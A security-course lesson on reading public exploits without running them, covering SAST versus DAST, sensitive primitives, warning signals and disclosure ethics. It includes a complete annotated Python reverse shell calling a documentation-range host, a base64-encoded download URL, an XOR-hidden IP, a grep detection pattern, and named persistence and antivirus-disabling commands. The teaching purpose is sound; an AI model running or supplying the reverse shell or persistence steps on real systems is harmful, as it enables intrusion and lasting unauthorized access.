Saltar al contenido principal

Offensive code analysis — Concepts

A public exploit is not a recipe. It is a program someone else wrote, sometimes to document a flaw, sometimes to install their own on top of it. Reading it without running it is a skill. This lesson sets the method, the signals, and how to turn them into a finding.

Read first, never run

Opening an "exploit" script in the interpreter is accepting to become the target. A GitHub repository titled PoC CVE-20xx regularly contains a second stage: a network callback, an added SSH key, a scheduled task. You read it in an editor, with less, bat or Get-Content. Not with python exploit.py.

What you will be able to do after this lesson

  • Tell SAST from DAST, and know which one to open first when facing an offensive tool.
  • Apply a four-step static reading before any execution.
  • Name the sensitive primitives (eval, exec, socket, pickle, shell calls) and what they give away.
  • Reconstruct a script's threat model: privilege, version, network, persistence.
  • Spot warning signals in a few seconds: hard-coded URL or IP, base64, XOR, writes to authorized_keys, crontab, Registry\Run.
  • Write a finding (evidence, impact, remediation) and know the frame of a coordinated disclosure.

1. SAST versus DAST — two looks, one order

Two families of analysis, two objects, two different lies.

ApproachWhat you examineWhat you executeWhat you get
SAST (Static Application Security Testing)The source, the bytecode, the script, the disassembled binaryNothing of the target, nothing of the scriptCandidates, primitives, secrets, dead paths
DAST (Dynamic Application Security Testing)The application that is runningRequests, sometimes payloadsConfirmations, behaviors, different false positives

SAST answers: "what is this code capable of doing?" DAST answers: "what does this service actually do when you probe it?"

Facing an offensive tool (public exploit, automation script, Metasploit module recovered out of scope), the order is not negotiable: SAST first. You do not yet have the right to discover "dynamically" what the script sends to 203.0.113.7.

Facing an application you are auditing (lab, engagement, client repository), the two complement each other. Semgrep and Bandit list the candidates. Burp and manual tests confirm what is reachable. A code-review finding often rests on SAST alone: the evidence is a line, not a shell capture.

The addresses in this lesson

All example IPs are documentation ranges (RFC 5737), notably 203.0.113.0/24. They do not route to a real machine. If a script you read points elsewhere — a residential range, a VPS, an unknown domain — that is already a signal.


2. Why static reading comes before execution

Three reasons, none of them theoretical.

You can become the victim. The file is named exploit.py. On the first import, it opens a socket, writes a key, downloads a second script. The repository title does not protect you. The most shared "PoCs" are also the most copied, and the most often re-armed.

You can step out of scope. Running an exploit without having read the target, the version, the network prerequisite, is attacking blind. Outside the lab and outside the RoE, it is a crime. Even on an engagement, a script that sweeps 10.0.0.0/8 when the perimeter is a /28 puts you out of contract.

You miss what survives the shell. Many students stop at "it opens a /bin/sh". The useful question comes after: does it stay? A line in crontab, a value under HKCU\...\Run, a key in ~/.ssh/authorized_keys is worth more, for the defender and for the report, than the shell itself.

The simple rule: if I cannot tell the script to someone else, I do not have the right to run it.


3. The reading method, in four steps

It is the same grid for a ten-line reverse shell and for a two-hundred-file framework.

3.1. Static first

Open it in an editor. List the imports, the included files, the network calls, the disk writes. Do not compile "to see". Do not import an unknown module: in Python, a simple import executes the file body.

# Read, do not execute
less exploit.py
bat --paging=never exploit.py
Get-Content .\outil.ps1
strings -n 8 binaire_inconnu | less

3.2. Locate the sensitive primitives

A primitive is a call that changes the world: execute code, open the network, write a trusted file, disable a defense. You look for them before you understand the rest. A table is enough.

PrimitiveCommon languagesWhat it enablesReading
eval, execPython, PHPExecute a string as codeThe payload often arrives from elsewhere (network, file, argument)
Function, setTimeout(string)JavaScriptSame on the browser or Node sideStored XSS or obfuscation tool
socket, connect, requests.getPython, C, GoCallback or downloadC2, reverse shell, second stage
subprocess, os.system, Runtime.execPython, JavaShellBuilt command, often injectable
pickle.loads, yaml.load, unserializePython, PHPDeserializationCode execution on load
ctypes, reflection, NativePython, Java, .NETLow-level callsBypass, injection
os.dup2Python, CRedirect stdin/stdout/stderrClassic reverse-shell marker

You do not need to understand the whole script to circle these calls. The rest of the reading hangs on them.

3.3. Identify the payload

Three questions, in this order:

  1. What does it install or overwrite? Binary, key, service, environment variable.
  2. Who does it contact? IP, domain, port, protocol, direction (inbound / outbound).
  3. What does it persist? Nothing (ephemeral shell), or a mechanism that survives reboot.

A six-line TCP reverse shell often installs nothing. A fifty-line "patch" that touches authorized_keys installs a door. Not the same family, not the same finding.

3.4. Reconstruct the threat model

A script without a threat model is an anecdote. You must be able to fill this table before you conclude.

QuestionWhy it matters
Which privilege do you already need?Local user, authenticated web session, remote anonymous: the impact changes.
Which version, which product?A WordPress 4.7 exploit says nothing about a 6.x.
Which network prerequisites?Outbound TCP 4444, DNS, SMB, localhost only.
What does success look like?Shell, token theft, file write, denial of service.
What remains afterward?Nothing, or a persistence the client must remove.

Without this last box, you do not know what to recommend. A shell without persistence closes. An SSH key does not close.


4. Signals to spot immediately

You will not always have time for a full review. These patterns show up in a sweep, often with grep.

SignalWhere it appearsReading
Hard-coded URL to a third partyhttp://, https://, ftp://Second-stage download, exfiltration, "update"
Literal IPEspecially outside RFC 1918 and outside documentation rangesC2, callback, poorly scoped internal scan
base64 or XORLong strings, b64decode, bytes([…]) ^ keyHidden payload or URL — decode, do not execute
~/.ssh/authorized_keysecho, >>, open(..., "a")SSH persistence: an attacker key becomes a legitimate login
crontab / schtasks@reboot, * * * * *Time-based persistence
Registry\RunHKCU\Software\Microsoft\Windows\CurrentVersion\RunWindows session persistence
Defense sabotageSet-MpPreference -DisableRealtimeMonitoring, stopping ufw / iptablesThe script prepares the ground; that deserves a finding of its own
# Static sweep — the file is not interpreted
grep -nE 'eval|exec\(|socket|subprocess|pickle|b64|base64|xor|authorized_keys|crontab|DisableRealtimeMonitoring' exploit.py

An IP in 203.0.113.0/24 in this course is an example. The same shape in a script downloaded this morning is an external callback. An IP in 192.0.2.0/24 or 198.51.100.0/24 as well (RFC 5737). An IP of 8.8.8.8 is not a C2, it is often a resolver. A residential / VPS IP in 185.x or 45.x deserves a whois lookup before you continue.

4.1. Annotated example — Python reverse shell

The fragment below is pedagogical. It does not run on this page, and you do not run it.

# DO NOT RUN — pedagogical annotation.
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # TCP socket
s.connect(("203.0.113.7", 4444)) # hard-coded external callback
os.dup2(s.fileno(), 0) # stdin redirect
os.dup2(s.fileno(), 1) # stdout redirect
os.dup2(s.fileno(), 2) # stderr redirect
subprocess.call(["/bin/sh", "-i"]) # interactive shell

Reading, line by line:

LinePrimitiveWhat it doesWhat it does not do
socket(...)NetworkCreates a TCP descriptorDoes not listen: it is a client
connect(("203.0.113.7", 4444))CallbackJoins a hard-coded IP and portNo DNS resolution, no encryption
os.dup2(..., 0/1/2)RedirectThe shell will speak through the socketNo authentication
subprocess.call(["/bin/sh", "-i"])ExecutionInteractive shellNo persistence, no obfuscation

Threat model in one sentence: outbound TCP reverse shell, prerequisite = ability to run Python on the machine, success = remote shell, remains = nothing (ephemeral process). Possible detection: unusual outbound rule to port 4444, or simply reading the source.

This is the most readable case. The next walkthrough adds a bash script that persists, and tools that find the same patterns on their own in an application.

4.2. base64 and XOR — decoding is not running

An opaque string is not an argument to "try the script". It is an argument to decode it in a scratchpad.

# Isolated decode: you get text, you do not pipe it to an interpreter
printf '%s' 'aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo' | base64 -d
# → https://203.0.113.7/outils/maj.sh
# Pedagogical XOR: the 0x13 key is in the script, visible
chiffre = bytes.fromhex("2123203d233d2222203d24")
clair = bytes(b ^ 0x13 for b in chiffre)
# clair == b'203.0.113.7' — note it, do not connect

The decode result re-enters the grid: third-party URL, IP, command. You file it in the threat model. You do not curl it, you do not bash it.


5. What tools change — and what they do not

Semgrep, Bandit, Gitleaks, ripgrep: these are reading accelerators, not replacements.

ToolStrengthLimit
SemgrepMulti-language rules, patterns (SQLi, injections, secrets)Missing rule = gap; false positives on dead code
BanditPython-specialized, stable IDs (B301, B608)Ignores PHP, PS1, bash outside Python
GitleaksHard-coded secrets, AWS keys, tokensDoes not understand an eval primitive
grep / rgYou choose the patternYou only find what you know how to name

A tool that says nothing does not prove the absence of a payload. A tool that shouts about eval of a constant string in a unit test does not prove RCE. You remain the reader. The walkthrough shows the real output; the lab has you decide.

False positives, false negatives

SAST overestimates (an execute on a constant) and underestimates (a primitive hidden behind two functions of yours). A finding rests on the line you read, not on the Bandit identifier alone. Conversely, "Bandit said nothing" is not an audit conclusion.


6. Document the way you write a finding

Reading only matters if it lands in the report. An offensive tool, or a flaw found in the source, is documented with the same three blocks as the report module.

  1. Evidence — file, line, excerpt, tool identifier. Not "the script looks dangerous".
  2. Impact — who can do what, with which prerequisite. A pickle.loads on an anonymous route does not have the same impact as an md5 on an internal password.
  3. Remediation — the fix, or the removal of the persistence, or the detection rule. An actionable sentence.

Add, when it is a tool and not an app: the recommendation not to run it, the threat model, and what the SOC can already block (outbound 4444, authorized_keys write).

It is the same reflex as for a SQLi: the report reader must be able to verify without replaying the attack. Here, they verify by opening the file.


7. Ethics — publishing is not trivial

Publishing a working exploit — including "for science" — carries three duties. The module index states them; they hold outside school.

  1. Coordinated disclosure timeline with the vendor. The researcher notifies, the vendor patches, then the detail ships. Usual timelines sit around 90 days; the contract or the provider's policy prevails.
  2. Documented remediation. A PoC without a fix, without a patched version, without a detection measure, is a weapon delivered without a notice. Your finding must carry the remedy.
  3. Responsibility framework toward users. Copying an exploit into a public repository "for students" without disarming it (documentation IP, exit at the top, do not run banner) makes you a distributor.

This course shows annotated excerpts, RFC 5737 IPs, deliberately vulnerable repositories that you create locally. It never asks you to push an armed exploit, nor to aim at a system outside the lab.


8. The confusions that cost the most time

  • "I'll run it, I'll see." You will mostly see the second stage. Reading is the control.
  • "SAST = DAST without the packets." No. SAST does not confirm that a route is reachable. DAST does not read a persistence that has not been triggered yet.
  • "No obfuscation, therefore not dangerous." The reverse shell in section 4 has no obfuscation. It is perfectly dangerous if you run it.
  • "It's an admin tool, therefore it's clean." A bash script that "updates the fleet" and rewrites authorized_keys is an admin tool and a persistence. The file name does not decide.
  • "Gitleaks found an example key, therefore everything is red." AKIAIOSFODNN7EXAMPLE is the AWS documentation key. You qualify: example, revoked, or real secret. The report does not dilute real leaks.

What to remember

Static reading is the only control that precedes execution. SAST and DAST do not replace each other: one reads the capable, the other the real. You look first for primitives (eval, socket, shell, deserialization), then the payload, then the threat model. The signals (hard-coded URL/IP, base64, XOR, authorized_keys, crontab, Registry\Run) sweep in one command. A tool accelerates; it does not sign the finding. Publishing a working exploit without a coordinated timeline, without a remedy and without a framework, leaves this profession.

Next lesson: we annotate a reverse shell and a bash script without running them, then we read the Semgrep, Bandit and Gitleaks output on a Flask application.